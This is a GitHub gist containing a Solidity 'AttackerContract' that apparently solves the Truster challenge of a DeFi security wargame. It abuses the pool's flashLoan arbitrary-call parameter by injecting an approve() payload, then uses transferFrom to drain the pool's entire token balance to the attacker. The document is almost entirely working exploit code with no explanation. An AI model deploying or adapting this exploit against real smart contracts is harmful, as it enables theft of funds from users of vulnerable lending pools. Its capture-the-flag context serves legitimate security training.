Skip to content

Instantly share code, notes, and snippets.

@zaryab2000
Created January 17, 2021 14:01
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save zaryab2000/8c8367a4cd9b0f2beef6e784a1ef234e to your computer and use it in GitHub Desktop.
Save zaryab2000/8c8367a4cd9b0f2beef6e784a1ef234e to your computer and use it in GitHub Desktop.
pragma solidity ^0.6.0;
import "./TrusterLenderPool.sol";
contract AttackerContract{
uint256 public totalTokens = 1000000 ether;
address public attackerAddress;
// DamnValuableToken public dvTokenContract;
address public dvTokenContract;
TrusterLenderPool public poolContract;
constructor(address _poolAddress,address _tokenAddress) public{
attackerAddress = msg.sender;
poolContract = TrusterLenderPool(_poolAddress);
dvTokenContract = _tokenAddress;
}
function setUpAttack() public{
bytes memory approvePayload = abi.encodeWithSignature("approve(address,uint256)",address(this),totalTokens);
bytes memory flashLoanPayload = abi.encodeWithSignature(
"flashLoan(uint256,address,address,bytes)",
0,attackerAddress,dvTokenContract,approvePayload);
(bool success, ) = address(poolContract).call(flashLoanPayload);
require (success,"Set Up Failed");
}
function executeAttack() public{
bytes memory transferPayload = abi.encodeWithSignature("transferFrom(address,address,uint256)",address(poolContract),attackerAddress,totalTokens);
(bool success, ) = dvTokenContract.call(transferPayload);
require (success,"Attackss Failed");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment